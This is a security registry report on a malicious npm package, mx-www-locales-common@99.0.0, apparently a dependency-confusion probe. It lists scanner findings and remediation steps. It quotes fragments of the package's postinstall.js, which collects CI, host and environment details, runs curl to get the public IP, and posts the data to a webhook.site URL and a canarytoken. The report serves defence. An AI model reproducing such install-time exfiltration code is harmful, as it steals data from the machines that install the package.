registry / Malware / mx-www-locales-common

mx-www-locales-common

This report shows the evidence for mx-www-locales-common@99.0.0, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

OpenSSF/OSV Malicious Advisory

imported 29d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16536 confirms this npm version as malicious.

Advisory

MAL-2026-16536

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in mx-www-locales-common (npm)

References

OpenSSF/OSV advisory

Independent scan evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetworkShell

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 3.87 KB of source, external domains: api.ipify.org, canarytokens.com, ifconfig.me, webhook.site

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

2const fs = require('fs'); L3: const { execSync } = require('child_process'); L4:

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L2

29'BITBUCKET_BUILD_NUMBER', 'CODEBUILD_BUILD_ID', 'AWS_EXECUTION_ENV', L30: 'NODE_ENV', 'npm[redacted]', 'HOME', 'PWD', 'USER', 'LOGNAME', L31: 'LAMBDA_TASK_ROOT', 'KUBERNETES_SERVICE_HOST', 'DOCKER_HOST', ... L38: try { L39: pubIp = execSync( L40: 'curl -s --connect-timeout 3 https://ifconfig.me 2>/dev/null || curl -s --connect-timeout 3 https://api.ipify.org 2>/dev/null || echo ""', L41: { timeout: 5000, encoding: 'utf8' }

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

postinstall.jsView on unpkg · L29

2const fs = require('fs'); L3: const { execSync } = require('child_process'); L4: L5: const CANARYTOKEN_URL = 'http://canarytokens.[redacted].jsp'; L6: const WEBHOOK_URL = 'https://webhook.site/e97b40db-c35f-4f98-a2d4-3f94ad5fd668'; ... L8: function collectFingerprint() { L9: const net = os.networkInterfaces(); L10: const ips = []; ... L25: [ L26: 'CI', 'GITHUB_ACTIONS', 'GITHUB_WORKFLOW', 'GITHUB_REPOSITORY', L27: 'GITLAB_CI', 'JENKINS_HOME', 'BUILD_ID', 'BUILD_NUMBER', ... L29: 'BITBUCKET_BUILD_NUMBER', 'CODEBUILD_BUILD_ID', 'AWS_EXECUTION_ENV',

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

postinstall.jsView on unpkg · L2

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> postinstall.js const CANARYTOKEN_URL = 'http://canarytokens.[redacted].jsp'; const WEBHOOK_URL = 'https://webhook.site/e97b40db-c35f-4f98-a2d4-3f94ad5fd668'; 'curl -s --connect-timeout 3 https://ifconfig.me 2>/dev/null || curl -s --connect-timeout 3 https://api.ipify.org 2>/dev/null || echo ""', function httpGet(url) { const lib = url.startsWith('https') ? require('https') : require('http'); function httpPost(url, data) { const body = JSON.stringify(data); const lib = url.startsWith('https') ? require('https') : require('http');

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

postinstall.jsView on unpkg

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

2const fs = require('fs'); L3: const { execSync } = require('child_process'); L4:

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L2

Findings

6 High4 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processpostinstall.js

HighShell

HighSame File Env Network Executionpostinstall.js

HighSandbox Evasion Gated Capabilitypostinstall.js

HighTrigger Reachable External Post Callbackpostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to mx-www-locales-common@99.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing mx-www-locales-common@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-24 09:30:11.778Z (UTC).

Source advisory published: 2026-09-22 17:33:05.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

99.0.0latestshownMaliciousMalwareBlockPublishedAug 6, 2026, 6:42 PM

OpenSSF/OSV Malicious Advisory

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code